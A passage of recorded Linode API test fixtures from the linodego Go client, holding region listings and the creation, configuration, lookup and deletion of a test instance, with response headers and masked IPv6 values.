1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:41:30 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"eu-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-q01fhy908w0r","firewall_id":693078,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61875974, "label": "go-test-ins-wo-disk-q01fhy908w0r", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.162.229.23"], "ipv6": "1234::5678/128", "image": null, "region": "eu-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "53e4a52a1fc1e459ffa48d6d56b511ff54985871", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "807" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:41:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-m3nx2h101wi8","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61875974/configs method: POST response: body: '{"id": 65096491, "label": "go-test-conf-m3nx2h101wi8", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": false, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "540" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:41:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"id": 61875974}' url: https://api.linode.com/v4beta/linode/instances?page=1 method: GET response: body: '{"data": [{"id": 61875974, "label": "go-test-ins-wo-disk-q01fhy908w0r", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.162.229.23"], "ipv6": "1234::5678/128", "image": null, "region": "eu-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "53e4a52a1fc1e459ffa48d6d56b511ff54985871", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:41:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61875974 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:41:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKECluster_APIEndpoints_List.yaml000066400000000000000000000373201474652371000336420ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fake-cph-4", "label": "Fake CPH 4, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fake-cph-5", "label": "Fake CPH 5, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing66", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing67", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing100", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 16}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - 